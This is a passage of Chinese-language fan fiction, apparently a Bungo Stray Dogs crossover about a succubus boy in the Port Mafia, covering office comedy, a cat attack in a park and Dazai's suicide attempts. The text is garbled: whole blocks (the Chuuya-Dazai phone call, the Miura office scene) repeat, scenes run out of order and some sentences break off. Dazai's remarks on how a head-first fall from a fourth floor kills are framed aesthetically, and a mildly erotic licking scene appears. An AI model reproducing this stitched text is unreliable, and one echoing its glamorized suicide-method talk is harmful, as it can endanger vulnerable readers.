“……你还挺自豪。” 太宰抬腿跨过地上的尸体,淡淡地说道。 “不过,太宰先生,现在要怎么办呢?” 望月背对着太宰蹲下身体,时不时用手戳一戳那唯一一个幸存者,也可以说是倒霉蛋。 金发少年歪着脑袋,嘀咕着说道。 “附近的人差不多都在这里了。不过等会儿其他楼层的人察觉到异样后,应该都会朝这边过来的吧。如果我们现在下楼,会被堵个正着……” “那就跳下去吧。” “唔?也是哦,直接跳下去的话就能避开其他楼层的人,但这里是四楼,会受重伤的吧……” 望月以为对方是在回答自己的问题。 见没听到后续,他回过头,发现太宰治不知什么时候靠在了窗户的边缘上,几乎和身后的残阳融为一体。 黑发少年背对着光,看不清脸上的表情。 “太阳快要落下去了。” “接下来,就到了「黑夜」的时间了。” 天空变成了瑰丽的粉紫色,残留的为数不多的黄昏余晖落在那头微卷的黑发上,勾勒上一圈淡淡的金边。 “是!前辈夜班辛苦了,接下来的工作交给我吧——” “呃,虽然你这么有干劲很不错就是啦,不过……” 就在三浦欲言又止时,大老远就能听见中原中也在办公室内暴跳如雷的吼声。 “——我刚写完的任务报告上面怎么都是咖啡?!” 挂着黑线的三浦看向了面前的望月,后者心虚地挪开了视线。 你小子不会又把中也先生写的报告给弄脏了吧!上次是墨水,这次是咖啡,非要往上头倒点什么吗! 三浦在心中尖叫着吐槽道。 然而下一秒,中原中也砰地一声踢开办公室的门,原本就锐利的眸子此时看起来更加凶恶。 赭发少年搜索了一番,在看到某只惹了祸的金毛僵硬的背影,瞬间识破了罪魁祸首,直接黑着脸,一脚踢了过来。 “混蛋,你这家伙又把我的报告弄脏了!上次是墨水,这次是咖啡,非要往上头倒点什么才肯罢休吗!” ……把我心里的吐槽完全吼出来了啊中也先生,而且一模一样呢。 所以说,办公室里禁止养猫狗是有根据的。 三浦挪开视线,假装没有看到面前中原中也抓着黑泽望月的后衣领,拖回了办公室时,后者可怜巴巴求助的眼神。 ——毕竟他已经下班了。 办公室内,中原中也黑着脸,在办公桌前重写那份报告。 而作为此次案件元凶,黑泽望月乖乖地跪坐在办公桌前,没精打采地垂着脑袋,脖子上挂着块不知道从哪儿找来的板子,上头用记号笔写着「我错了,是我干的」几个歪歪扭扭的平假名。 好在中原中也已经写过一遍,这次的动作快了不少。 写下最后一个点,中原中也放下笔,活动了一番发酸的手腕。 说实话,他也不喜欢文书工作。比起坐在办公桌前写这些报告,他更乐意于亲自去任务现场碾碎敌人。 中原中也抬头看向办公桌前正跪着的黑泽望月。 金发少年垂头丧气着,让人不禁幻视一只小狗,耳朵和尾巴都有气无力地耷拉着。 “报告长官,其实我还有一件事没有交代。” 黑泽望月表情严肃,五指并拢朝中原中也敬着礼,中气十足地说道。 “实际上,还有一份数据表……也撒上咖啡了。” “因为您回来得太快所以没来得及销毁啊不,我的意思是重新抄写一遍,就暂时被我收了起来。” 黑泽望月从口袋里掏出那张皱巴巴的,被咖啡渍染成褐色的纸,完全看不清上头的数字。 中原中也仿佛听见脑袋里有个弦咔嚓一声断裂了。 “黑、泽、里、奥!” 太宰治推开门,就看到办公室里,赭发少年正在暴揍另一只陌生又非常熟悉的金毛。 在停顿了一秒后,太宰治面无表情地甩上门,啪地一声格外响亮。 站在他身后的广津不由得流下一滴冷汗。 老爷子握拳抵在唇边,咳嗽了一声,问道。 “那个,太宰君……” “广津先生,果然我的脑震荡还没有康复,应该好好休息不宜工作~” “……医疗部的人说您的伤已经没问题了。” “诶~那我怎么会看到愚蠢的小蛞蝓有丝分裂成两只了呢?” 广津柳浪还要说些什么,就听见办公室内的中原中也隔着关上的门骂道。 “——你说谁是小蛞蝓呢混蛋太宰!” 被听到了呢。 广津柳浪有点担心中原中也年纪轻轻的血压问题了。 黑色大衣的衣袖随着风摆动着,看起来像是乌鸦的翅膀;黑发少年唇角含着若有若无的笑容,白衬衫上头溅染着敌人的血。 那一抹鲜红盛开胸口,看上去像是被射中了心脏似的。 “听说,如果掉下去的时候是脑袋着地,就算是四楼也会当场毙命。脑袋和地面接触的瞬间,因为冲击力而被折断脊椎,说不定就感受不到痛苦了。” “不过如果没死掉的话,一定会感受到极致的痛苦吧……真是讨厌啊。” 太宰治勾起唇角,鸢色的眸子微微弯起,漆黑得比这个世界最黑的阴影还要深沉。 他微微向后倾倒,似乎下一秒就会掉下去。 黑泽望月缓慢地眨了眨眼睛。 对方好像没有在说谎,是真的想要这么做。 如果自己不在……不,就算在的话,会直接跳下去也说不准呢。 但是他接到的任务要求是保护太宰先生,要是本人想要跳下去的话,要拦着吗? 所以,应该是遵从哪一方的命令? 不行,脑袋要过载了。 波本也没告诉我遇到这种情况要怎么处理啊! 望月的眉头皱成一团,几乎快要打结。 他努力思考,发现似乎也没有什么思考的必要,干脆选择了放弃。 金发少年一副努力思考的表情,看起来有些蠢。 太宰治当然不指望对方能给出什么有反应,反正他也已经习惯了。 任务过程中突发奇想自杀瘾大爆发想要作点死,对于太宰治来说也是家常便饭。 为此太宰治的部下们也没少感到苦恼。 太宰这个家伙在纸牌游戏上居然输了? “是哦,这回我是最后一名。” 太宰治不紧不慢地说着,随意地将手中的那张「JOKER」背对着往上,丢到了牌堆的最上方。 他抬起头,浑然不惧一旁赭发少年身上忽然骤降的气压,只是微笑着,用平时那副轻快的语气,说道。 “我会按照约定,给望月吃一口的。” “所以,要在这里拿你的奖励吗?” 第 40 章 第四十章 ——吾辈的奖励! 银发魅魔的眼睛亮闪闪的,身后原本垂在地上的尾巴也因为期待和开心而高高翘起。 前辈们说,第一次开荤的食物对象需要好好选择。 望月想了想:‘哦,那就是说要精挑细选,找个美味的食物作为第一餐吗?’ ‘不不不,完全相反。’前辈们露出死鱼眼,摆了摆手。他们一本正经地说道,‘第一餐一定记得,可别吃得太好。’ ‘……哈?为什么?’ 前辈们拍了拍他的肩膀,摇了摇脑袋,一脸深沉又悲痛地说道。 也不知道对方拿着手机现在在什么地方,大概是信号不好,手机听筒里传出沙沙的电子噪点声。 过了片刻,电话那头的太宰声音听上去还是一如往常那般漫不经心。 “嗨~嗨,听到了呢。” 搞不懂,青花鱼那家伙在想什么东西。 那家伙一向神经兮兮的。 中原中也啧舌,原本就烦躁的心情更是火上浇油。 “嘁,既然想打听这些事所以为什么不自己来,非要让我代工?”忽然想到了什么,中也不禁嘲笑道。 “你不会是害怕见望月吧?” “……” 电话那头沉默了一瞬,随后就听见太宰的一声冷笑。 后者的声音充满嫌弃。 “我会怕那种蠢狗吗?” “同类的话,果然要让同类去交流嘛。” “哈?你这家伙……” 太宰治的不负责三连成功让中原中也周围环绕着低气压,在「羊」时期的不良饶舌音都冒出来了。 在中原中也即将挂断手机之际,太宰治这才慢悠悠地吐出下半句。 “所以,中也你有什么看法?” “什么「什么看法」……” 中原中也疑惑,听出了画外音后,忍不住皱起了眉头,声音微沉。 “喂,你不会觉得那家伙是别的组织的卧底吧?” 太宰治没回话。 “……他是我的部下。如果他损害了港口mafia的利益,我会解决掉他的,不需要你插手。” “而且,” 中原中也拿着手机,语气一点也不客气,直接说道 “你觉得哪个组织会派这种笨蛋过来卧底?” “……” 太宰治思考了一下,脑子里冒出黑泽望月蠢兮兮的笑脸,不禁默然挪开视线。 好像还真没办法反驳。 “不过……” 中原中也迟疑了片刻,还是缓缓地说道。 “有一点我很在意……” 听筒传出某人的轻笑,紧接着打断了自己的话。 “是经历吧,的确和相似嘛。” “横滨,记忆残缺,被捡到……关键词都对上了呢。” 太宰治忽然笑了起来,上挑的尾音甜腻。 却像是某种漆黑的蛇类吐出的毒液。 “是觉得,对方可能和你同类吗?” “难道说,你在开心?一直孤独的怪物终于找到了自己的同伴,觉得自己不再孤身一人了?” “——中也,你是对他产生共情吗?” “……闭嘴。” 中原中也声音低沉,带着明确的警告。 周围的空气变得凝滞,若是有人在此刻路过,便能感受到肩膀上沉重的压力。 “你果然还是一如既往的讨人嫌,太宰。” “这不是你的目标吗——成为港口mafia的五大干部,就可以查看当年的相关资料,说不准就能得知自己身世有关的信息。” “那就加油吧中也,祝你成功咯。” 一周后。 身为秘书的三浦这段时间忙得分身乏术。 港口mafia前不久吞并了池田组,关于人员、地盘的交接,生意上的往来,还有乱七八糟的琐事…… 看似温和的三浦一个人独处的时候,偶尔也会抓狂拍桌子,大叫着“啊啊啊我要辞职不干了”——他以为没人知道,然而实际上这咆哮声足以穿透办公室的门。 隔壁房间的同事们可没少担心三浦的精神状态——虽然他们自己也不一定好到哪里去。 不过港口mafia可没有“辞职”这一说。 毕竟黑手党基本都是终身制的。 三浦吐着魂,几乎是赶尸般朝着自己的办公位移动。 身后蹦出了某个毛茸茸金灿灿的脑袋。 “早上好,三浦前辈!” “早……诶望月已经出院了啊,你的腿这么快就好了吗?” 三浦下意识地应声,惊奇地看着一星期未见,在自己面前活蹦乱跳的黑泽望月。 “嗯,已经没问题了!” 黑泽望月挺起了胸脯,自信满满地在上头拍了拍,展示自己的强壮。 “我的自愈能力超一流哦,从小到大都是,受伤之后愈合得一直都很快。所以前辈就放心吧!” “没事就好。说起来,望月你在港口mafia可是小小地出名了一把哦。” 虽然说出名的主要原因,还是某人公主抱着他们港口mafia有名的「黑色幽灵 」从四楼蹦下来,「黑蜥蜴」那边议论了好几天。 他们这群文职人员在办公室里也没少吃瓜。 “唔?” 金发少年懵懂地歪着脑袋,不过他还有别的事想问对方。 “对了,三浦前辈,中也在哪里呀。我去办公室没找到他。” 中也先生居然还允许你进办公室啊。 三浦一边在心中感慨着,一边回答到,“中也先生去北海道那边出差了,明天才回来。” “诶,那我现在要做什么呢?” “唔,就当是休息吧,趁这个机会好好去玩也没事哦。” “之前养伤的时候就一直在休息了,我倒更想要工作出任务啦……” 三浦微笑着,伸手拍了拍面前金发少年的脑袋,然而眼神却是空洞的。 望月准备告别前辈离开时,想到什么后,扭头看向了对方,指了指自己眼睛的位置,脸上露出元气十足的笑容。 “对了,忘记说了。” “三浦前辈的新眼镜,超级帅哦!” 三浦微微一愣,下意识抬手扶了下镜框。 这个镜框的确是新买的,和之前的款式很像,只是在镜腿边稍微有一些不同。 “……诶,望月是第一个发现呢。” 他自言自语着,抬头却发现对方已经跑没影了。 …… 从港口mafia离开后,黑泽望月抱着脑袋,漫无目的地在街上闲逛着,也不知道自己绕到了什么地方,大概是某处公园。 他原本想要找中也一起玩的,但是中也出差了;想找织田玩,但是织田在工作,好像说是在帮忙调解某高层的三位情人之间的关系。 好复杂……成年人的世界难以理解呢。 不过,三浦前辈交给了他一份新的工作,帮忙寻找太宰先生。 很好,那现在就来思考一下,太宰先生会去什么地方呢? 望月双手抱胸,闭上眼睛皱眉苦苦思考。 安静了半分钟后,绿眸猛地睁开,理直气壮地点了点脑袋。 “——嗯,完全想不到呢!” 余光瞥到了一旁花坛台阶上趴着的毛茸茸生物后,眼睛嗡地一下就亮了,身后的尾巴瞬间竖了起来。 是!猫咪! 被猫咪魔法吸引了注意力的金发少年,朝着那只酣睡着的橘白猫咪蹦蹦跳跳地跑了过去,彻底将找太宰这件事抛在了脑后。 看似无人的巷口,若是往阴影处窥探,便能看见许多穿着黑色西装、散发着危险气息的墨镜男们。 黑手党们正精神紧绷着,等待着上司的命令。 领队的赭发少年扯了扯脖颈的choker,手套下端和袖口之间露出一截线条流畅的小臂,钴蓝色眸子带着一种野兽般的锐利。 他抬手扶正了耳麦的位置,低头看了眼手机上显示的时间。 听广津先生说,太宰原本的计划是自己担任护卫工作,由广津负责「黑蜥蜴」作战部队的指挥。 他们的任务是潜伏,在收到信号后出击。 不知道这家伙为什么临时改变了方案,让望月负责护卫工作。 “中也君,已经准备完毕,随时都可以出动。” 广津柳浪站在中原中也的身侧,低声道。 “太宰还没给信号。” 中原中也的声音顿了顿。说实话他等得有些不耐烦了,但姑且还是压住自己的脾气。 “那就按照原定计划,天黑后就出动。” 然而,话音刚落,却发现外侧的人员忽然小规模的骚动起来。 中原中也皱眉,正准备出声叱责对方安静。 “喂、等一下……” “快看那边,是我们行动目标的那幢吧。” “四楼好像有什么东西掉下来了。” “看起来好像是两个人……诶诶诶?那不是太宰先生和望月吗!” 忽然听到这俩熟悉的名字,中原中也下意识地抬起头,跟着众人的视线看了过去,正好看见这样一幕画面。 身上沾满着鲜血的金发少年抱着另一位黑发少年,从窗台上一跃而下,脸上是熟悉的那副没心没肺的笑颜,深绿色的眸子神采奕奕。 不过被公主抱的黑发少年可算不上好看,鸢色的眸子漆黑一片。 破碎的玻璃宛如星辰。 像是带着公主出逃的骑士,即将到来的黑夜之中,那抹金色成了最为耀眼的色彩,让人挪不开视线。 周围一切都变得安静下来。 即便是港口Mafia这些见过大风大浪的人,一时间都愣在原地。 然而事实上,无论是太宰治还是黑泽望月可都没有能够浮空的能力。 就在众人发愣的下一秒,两个人直挺挺地落在了地上,发出一声沉重的闷响。 在片刻的沉默中之后,众人忍不住议论起来。 “……诶?” “掉、掉下来了欸……” “这、什么情况……是,是作战的一部分吗?” “唔哦,不愧是太宰先生——” 鬼个作战的一部分! 这事他可一点都不知道! 中原中也扶住耳麦的手僵硬在了原地,嘴巴张了张,接着难以置信地破声骂道。 “——那两个白痴在搞什么呢?!” 太宰治身体猛地一颤,呼吸也几乎凝滞。 黑发少年脸上的表情像是摁下了暂停键般,呆愣在原地。 心脏似乎停滞了一秒。 40-50 第 41 章 第四十一章(8k营养液加更) 望月故意舔|弄着太宰的眼角,品尝着对方眼泪的味道。 魅魔天生就是为了涩涩而存在的恶魔。 不论是身体还是能力,都是为了强化那一特性而不断进化。 就算是不通过唇舌交融的接吻,只是唾液和皮肤的接触,也能带起猎物追求欢愉的欲望。 尤其是毫无自制力的人类雄性。 而且,这可不算强吻,也不用担心会被系统制裁。 在这刺激下,眼角更是冒出了些许新的透明的生理盐水。 “唔……” 在对方唾液的舔|弄下,太宰治如同被打湿的鸦羽般的眼睫本能地颤了颤,从喉咙里低声哼了一声。 只是那声闷哼过于隐忍,几乎微不可闻。 也不知道对方拿着手机现在在什么地方,大概是信号不好,手机听筒里传出沙沙的电子噪点声。 过了片刻,电话那头的太宰声音听上去还是一如往常那般漫不经心。 “嗨~嗨,听到了呢。” 搞不懂,青花鱼那家伙在想什么东西。 那家伙一向神经兮兮的。 中原中也啧舌,原本就烦躁的心情更是火上浇油。 “嘁,既然想打听这些事所以为什么不自己来,非要让我代工?”忽然想到了什么,中也不禁嘲笑道。 “你不会是害怕见望月吧?” “……” 电话那头沉默了一瞬,随后就听见太宰的一声冷笑。 后者的声音充满嫌弃。 “我会怕那种蠢狗吗?” “同类的话,果然要让同类去交流嘛。” “哈?你这家伙……” 太宰治的不负责三连成功让中原中也周围环绕着低气压,在「羊」时期的不良饶舌音都冒出来了。 在中原中也即将挂断手机之际,太宰治这才慢悠悠地吐出下半句。 “所以,中也你有什么看法?” “什么「什么看法」……” 中原中也疑惑,听出了画外音后,忍不住皱起了眉头,声音微沉。 “喂,你不会觉得那家伙是别的组织的卧底吧?” 太宰治没回话。 “……他是我的部下。如果他损害了港口mafia的利益,我会解决掉他的,不需要你插手。” “而且,” 中原中也拿着手机,语气一点也不客气,直接说道 “你觉得哪个组织会派这种笨蛋过来卧底?” “……” 太宰治思考了一下,脑子里冒出黑泽望月蠢兮兮的笑脸,不禁默然挪开视线。 好像还真没办法反驳。 “不过……” 中原中也迟疑了片刻,还是缓缓地说道。 “有一点我很在意……” 听筒传出某人的轻笑,紧接着打断了自己的话。 “是经历吧,的确和相似嘛。” “横滨,记忆残缺,被捡到……关键词都对上了呢。” 太宰治忽然笑了起来,上挑的尾音甜腻。 却像是某种漆黑的蛇类吐出的毒液。 “是觉得,对方可能和你同类吗?” “难道说,你在开心?一直孤独的怪物终于找到了自己的同伴,觉得自己不再孤身一人了?” “——中也,你是对他产生共情吗?” “……闭嘴。” 中原中也声音低沉,带着明确的警告。 周围的空气变得凝滞,若是有人在此刻路过,便能感受到肩膀上沉重的压力。 “你果然还是一如既往的讨人嫌,太宰。” “这不是你的目标吗——成为港口mafia的五大干部,就可以查看当年的相关资料,说不准就能得知自己身世有关的信息。” “那就加油吧中也,祝你成功咯。” 一周后。 身为秘书的三浦这段时间忙得分身乏术。 港口mafia前不久吞并了池田组,关于人员、地盘的交接,生意上的往来,还有乱七八糟的琐事…… 看似温和的三浦一个人独处的时候,偶尔也会抓狂拍桌子,大叫着“啊啊啊我要辞职不干了”——他以为没人知道,然而实际上这咆哮声足以穿透办公室的门。 隔壁房间的同事们可没少担心三浦的精神状态——虽然他们自己也不一定好到哪里去。 不过港口mafia可没有“辞职”这一说。 毕竟黑手党基本都是终身制的。 三浦吐着魂,几乎是赶尸般朝着自己的办公位移动。 身后蹦出了某个毛茸茸金灿灿的脑袋。 “早上好,三浦前辈!” “早……诶望月已经出院了啊,你的腿这么快就好了吗?” 三浦下意识地应声,惊奇地看着一星期未见,在自己面前活蹦乱跳的黑泽望月。 “嗯,已经没问题了!” 黑泽望月挺起了胸脯,自信满满地在上头拍了拍,展示自己的强壮。 “我的自愈能力超一流哦,从小到大都是,受伤之后愈合得一直都很快。所以前辈就放心吧!” “没事就好。说起来,望月你在港口mafia可是小小地出名了一把哦。” 虽然说出名的主要原因,还是某人公主抱着他们港口mafia有名的「黑色幽灵 」从四楼蹦下来,「黑蜥蜴」那边议论了好几天。 他们这群文职人员在办公室里也没少吃瓜。 “唔?” 金发少年懵懂地歪着脑袋,不过他还有别的事想问对方。 “对了,三浦前辈,中也在哪里呀。我去办公室没找到他。” 中也先生居然还允许你进办公室啊。 三浦一边在心中感慨着,一边回答到,“中也先生去北海道那边出差了,明天才回来。” “诶,那我现在要做什么呢?” “唔,就当是休息吧,趁这个机会好好去玩也没事哦。” “之前养伤的时候就一直在休息了,我倒更想要工作出任务啦……” 三浦微笑着,伸手拍了拍面前金发少年的脑袋,然而眼神却是空洞的。 望月准备告别前辈离开时,想到什么后,扭头看向了对方,指了指自己眼睛的位置,脸上露出元气十足的笑容。 “对了,忘记说了。” “三浦前辈的新眼镜,超级帅哦!” 三浦微微一愣,下意识抬手扶了下镜框。 这个镜框的确是新买的,和之前的款式很像,只是在镜腿边稍微有一些不同。 “……诶,望月是第一个发现呢。” 他自言自语着,抬头却发现对方已经跑没影了。 散发完一波黑泥后,太宰治又是一副死气沉沉的样子,挪开视线。 “算了。”“时间差不多了,该让中也他们出动……” 然而这次,他的话还没有说完,黑泽望月一个上前直接凑到了太宰治身边,扭头用小狗一般的眼神亮闪闪地盯着黑发少年。 “中也给我的任务是保护太宰,不过太宰先生的命令我也没办法违抗。所以我想到了一个办法!” 太宰治忽然有种不好的预感。 随后一阵天旋地转,身体就被对方直接横着抱起,脚底腾空。 太宰治:? “你又在搞什么?” 太宰治不喜欢肢体接触,况且还是被对方公主抱。 尤其是隔着衣服布料感受到望月身上的体温,他的声音也比平时冷了不少。 对此浑然不觉的黑泽望月因为抱着太宰,腾不出手用来比大拇指,只好扬起一个灿烂的笑容。 他踩在窗台的沿边上,自以为找出了解决办法。 “反正跳下去就行了吧。走吧!” “等……” 下一秒,强烈的失重感席卷身体,太宰治瞪大了眼睛,耳边响起少年活力十足的声音。 “you jump,we jump——” 从港口mafia离开后,黑泽望月抱着脑袋,漫无目的地在街上闲逛着,也不知道自己绕到了什么地方,大概是某处公园。 他原本想要找中也一起玩的,但是中也出差了;想找织田玩,但是织田在工作,好像说是在帮忙调解某高层的三位情人之间的关系。 好复杂……成年人的世界难以理解呢。 不过,三浦前辈交给了他一份新的工作,帮忙寻找太宰先生。 很好,那现在就来思考一下,太宰先生会去什么地方呢? 望月双手抱胸,闭上眼睛皱眉苦苦思考。 安静了半分钟后,绿眸猛地睁开,理直气壮地点了点脑袋。 “——嗯,完全想不到呢!” 余光瞥到了一旁花坛台阶上趴着的毛茸茸生物后,眼睛嗡地一下就亮了,身后的尾巴瞬间竖了起来。 是!猫咪! 被猫咪魔法吸引了注意力的金发少年,朝着那只酣睡着的橘白猫咪蹦蹦跳跳地跑了过去,彻底将找太宰这件事抛在了脑后。 这个回答出乎了望月的意料,刚刚还兴奋翘起的尾巴顿时垂下来一半。 银发恶魔脸上的表情有些纠结。 “可、可是……” “你又没说必须得当场用掉,也就没有时间上的限制。” 中原中也瞥了一眼面前的望月,半眯起眼睛,唇角似乎略微扬起,从鼻腔里轻哼了一声。 “——所以,这个惩罚留到之后再说。” 第 42 章 第四十二章 中也说那个惩罚他先保留着,之后再说。 望月大惊。 没想到最好哄骗的这个赭发人类,如今长出了许多心眼子。 对于中原中也迟迟未说的惩罚,望月不由得好奇,抓耳挠腮地试图从对方口中敲出点信息,或者诱骗着对方早点用掉。 可不管他如何撒娇哄骗,软磨硬泡,中原中也依旧不为所动。 今天的太阳很好,橘白色的猫咪趴在公园花坛旁的石阶上,在温暖的阳光下闭着眼睛呼呼大睡。 望月小心翼翼地凑了过去,没有发出一点动静。 猫咪毫无感觉,大大咧咧地侧躺着,露出半个肚皮,随着呼吸起伏。 看起来正沉浸在小鱼干的美梦之中。 哒、哒哒。 灵敏的五感让望月听见了由远及近的脚步声。他微微偏过脸,看到不远处,一个身披藏色羽织,穿着苔绿色和服的银发男人正朝这边走来。 注意到望月的存在后,对方的脚步停了下来。 男人没有说话,银白色的头发微长落在肩上,嘴角紧绷着,眼神锐利,显得不怒自威。 银色的头发。 和大哥头发的颜色好像哦。 不过令望月更在意的是,银发男人身上带着一种武者独有的气场,内敛沉着,像是一把收敛进刀鞘内的武士刀。 黑泽望月身体下意识绷紧。 但当注意到对方手里拿着一根小鱼干,他顿时恍然大悟。 对方也是来看猫咪的! 嗯,喜欢猫咪的一定不是坏人——虽然是不是好人就不知道了。 于是乎,望月放松了下来,竖起手指放在唇前,做了个噤声的动作。 穿着和服的银发男人微微一愣,随后小幅度地点了点头。 黑泽望月放心地转过头,然后半蹲在花坛前,双手扒在石阶上,目不转睛地盯着眼前的猫咪看,身后仿佛有条尾巴摇个不停。 看着面前的猫咪,他不禁蠢蠢欲动,想要伸手摸摸对方后背的毛。 好奇。 为什么会在这种地方睡觉呢。 大概是面前的望月挡住了太阳光,没有了暖呼呼的阳光,橘白猫咪迷迷糊糊地醒了过来,睁开了眼睛。 然而,映入眼帘的就是人类那张放大了好几倍的愚蠢的脸。 像是《进击的O人》扒在城墙上的巨人脸一样。 那一日,小猫咪也想起了被巨人(人类)支配的恐惧.jpg 对于小猫咪来说,这无疑在吃饭的时候扭头发现身后有根黄瓜来得更吓人——用人类作类比,就像是你刚准备躺床上放松休息的时候,突然和不知道从哪儿冒出来的G(小强)双目对视同等级的惊吓程度。 “喵嗷嗷嗷——” 橘白猫咪一下炸了毛,发出凄厉的尖叫;脑袋上猫耳因为受惊吓而变成了飞机耳。 它毫不客气地朝面前恐怖直立猿那张大脸狠狠地伸爪子一挠。 “嗷哇——呜——” 没有躲闪的黑泽望月被挠了个正着,这回发出凄厉声音的人变成他,嗷地一嗓子叫出了声。 炸毛的橘白猫咪“喵嗷喵嗷”嗷叫唤着,直接跳上了金发少年的脑袋,在对方脸上留下了数道红色的抓痕。 然而它还不肯罢休,大概是正在气头上,于是疯狂使用着「猫猫认真拳」这一必杀技,打得某金毛毫无还手之力。 “哇哇哇哇,大叔、大叔救我——” 被猫咪揍惨了的望月泪眼汪汪,努力寻求一旁银发大叔的帮助。 福泽谕吉见状也吓了一跳。 他立即伸手,想要把猫咪抓住。 然而,即便福泽谕吉已经控制着动作尽可能的温柔,但身上那股如同利刃出鞘的的杀气还是无法遮掩——即便他本人其实并没有这个意向。 猫咪受惊吓程度更高了,尾巴直接粗了两圈,飞机耳向后一撇。 一猫难敌二人。“——恭喜你成为干部,太宰君。” 首领办公室内,面前坐在桌前的黑发男人,自己的老师,背对着身后的落地窗,言笑晏晏着望向自己。 挂在肩头上,象征着首领身份的围巾,如同吸饱了鲜血般深红。 “港口mafia历代以来最年轻的干部,也是最快成为干部的人。这个成就可是了不起呢。” “真不愧是太宰君啊。” 面对老师的赞美,太宰治脸上没有什么表情,如同第一次被捡到的那样,像是一具漂亮的日本人形。 黑发少年声音恹恹,漫不经心地说道。 “成为干部之后,森先生又可以借由安排我更多的工作了。” “我可开心不起来。” 森鸥外忍不住笑了一声,倒没有否认对方的话。 这让太宰治在心里不爽地撅了撅嘴。 他故意挑衅道, “我还以为森先生会担忧呢。” “怎么会,我的恭喜可是真心实意的哦。” 森鸥外如同狐狸般,弯起那双紫红色的眸子。 “能有太宰君这样聪明的孩子作为左右手,身为首领自然是感到高兴和欣慰呢。” “……啊,是吗。” 黑发少年扯了扯嘴角,露出和对方极其相似的笑容。 …… 片刻之后,首领办公室的门被从内推开。 作为整个组织的心脏,首领办公室附近的守卫一向是最严密的。 一路过去,负责安保的黑手党可不少,在见到缠绕着绷带的黑发少年时,毕恭毕敬地低下了脑袋,没有和对方对视。 太宰治驻足停了几秒,随后转身走向地下二层。 ——那里是港口mafia的资料室,存放着各种机密信息。 像这样的机密要地,一向是重点监守地点。 最后,太宰治停在了某一间房间前,在门口驻足了几秒,随后伸手推开了资料室的门。 “「擂钵街」……「实验室」……信息不都被销毁的差不多了吗。” “唔,不过也没办法吧,毕竟爆炸范围那么大,找不到完整记录也正常……这里连盏亮堂些的灯都没有,真吝啬。” 太宰治用手指在那排文件上轻轻划着,嘴巴还不忘嘲讽森鸥外小气。 它朝着银发男人的手又来了一下,终于跳下了望月的脑袋,窜到了一旁花丛灌木里,消失不见。 估计一段时间内,那只猫咪都不会过来晒太阳了。 大概那猫心里也想着,人类真晦气.jpg 一场大战结束,留在花坛前的一大一小两个人,一个跌坐在地上顶着满脸的抓痕,另一个手上留着抓痕,面面相觑。 气氛有些尴尬。 最终还是福泽谕吉轻咳一声,率先打破沉默的空气。 “咳,你还好吗?” “我没事。谢谢你,大叔。” 望月站起身,拍了拍屁股上尘土,然后朝着一旁的福泽谕吉竖起了一根大拇指,露出笨蛋专属的自信笑容, “放心吧,区区被抓这种程度而已。” “我之前可是经常被猫咪们揍呢,揍得更惨的情况可比这严重多了!所以我已经习惯啦!” “不知道为什么,每次遇到猫咪们,他们都会上来挠我呢,嘿嘿。” 金发少年摸着自己的后脑勺憨笑着,毫无郁结的笑声显得格外爽朗纯粹。只是脸上抓伤渗出来的那一片血,格外煞风景。 ……这好像不是什么能笑出声的事情吧。 福泽谕吉的后脑勺上不禁滴落一滴无语的汗珠。 在看到面前少年脸上那惨不忍睹的抓伤后,他在心中确了了一件事。 ——这孩子被猫咪讨厌了啊。 而且本人看起来甚至完全没有自觉。 ……原来不止他一个人被猫讨厌啊,咳咳。 福泽、福泽谕吉挪开了视线。 “脸上的伤,还是去处理一下吧,在流血。” “……啊,真的诶。” 望月茫然地歪着脑袋,抬手摸了一把自己的脸颊,手上沾着黏黏糊糊的血液,豆豆眼看上去呆呆的。 但很快,他又放弃了思考,满不在乎地说道。 “不过附近也没有便利店和药店,这点小伤的话,说不定回到家就愈合了呢!” 金发少年把手上的血往衣服上一擦,完全不放在心上。 “……”这下好了,两只直接摔在地上,扬起一片尘土。 剩下的那半根绳子还留在树枝上,被风吹起的样子,显得有些萧瑟。 最底下成为肉垫的望月被摔了个七晕八素,眼睛转成了蚊香眼,脑袋顶上似乎冒出了金星。 太宰治黑着脸,从望月的身上爬下来。 望月一脸晕乎乎地坐起身,在看到一旁地上的黑发少年安然无恙后,才松了口气。 “还好还好,太宰先生没有出事呢。” ……不,实际上差一点就出事。 太宰治肩上那件黑色大衣早已落在了一旁,他的脖子上还挂着那根绳子,而绳子的尾端是明显的拉扯断痕。被绳子拴住的脖颈的那块皮肤因为缠着绷带,看不出底下的详情。 但也不难想象得到,上头肯定勒出了一道紫红色的勒痕。 黑发少年抬手,摸了摸自己的脖颈,被绷带缠绕着的脖颈上头还残留着阵阵的刺痛,刚刚的撕扯感尚未消散。 还以为会被拽成两截呢。 看来上吊死这种死法也相当痛苦啊。 本该像是玻璃珠般鸢色的眸子此时看起来黑漆漆的,幽幽地注视着面前的罪魁祸首。 第二次、不,应该算是第三次了吧。 和这家伙牵扯上的两次,自己似乎都特别倒霉。 太宰治放下了手。 大概是刚刚那下勒到了声带,少年原本甜腻的声音有些沙哑,听着像是被砂纸刮过。 “你到底想做什么?” “我才想问呢。” 这话算问到点子上了,面前的金毛气势汹汹,理直气壮地说道。 “太宰先生在做那么危险的事情,我当然要出手啦!” 也不知道在找到自己前发生了什么,金发少年的脸上贴满了医用胶布,露出来的角落依旧可以看见肉红色的抓痕,已经开始结痂——显然不是之前在跳楼时造成的。 太宰治微愣,随后眼神一沉,漆黑得仿佛能将所有的光全部吞噬。 “……欸~” 黑发少发出一声古怪的笑声,尾音上挑着,完全不似主人那双冰冷的眸子,轻飘飘地说道。 “所以,你是想要阻止我自杀吗?” “……自杀?” 金发少年歪着脑袋,慢半拍地重复道,绿色的眸子里露出一丝茫然。 “是哦,我在自杀呢。这么明显的事情,一眼就能看得出来吧?” 太宰治的笑意更深了,双眼弯起月牙;那张极具欺诈性的脸蛋,露出一副温顺又亲和,毫无攻击性的模样。 然而,缺乏血色的薄唇却一张一合着。 甜蜜的嗓音里包含着漆黑的恶意。 “不过,你想阻止我自杀,还真是没想到呢。手上沾了那么多鲜血的家伙……” 却想要去拯救其他人的生命? 让人放心不下。 上个让人放心不下的家伙,还是乱步。 福泽谕吉犹豫了一下,缓缓开口道。 “欸,你怎么知道我是被猫咪抓的?” “因为我是名侦探嘛,不管什么事情,只要看一眼就能知道真相,没有我解决不了的委托。所以——这个世界的笨蛋们都需要名侦探的照顾哦!” 江户川乱步得意洋洋地用手指顶了顶自己的帽子,鼻子都快翘到天上去了。 “——居然是名侦探!好厉害!” 金发少年冒出了星星眼,像小狗一样绕着黑发男生的周围转了一圈,在江户川乱步眯着眼睛准备说什么时,露出完全没明白但理直气壮的表情。 “不过话说回来,「侦探」又是什么?” ——这家伙,是笨蛋啊。 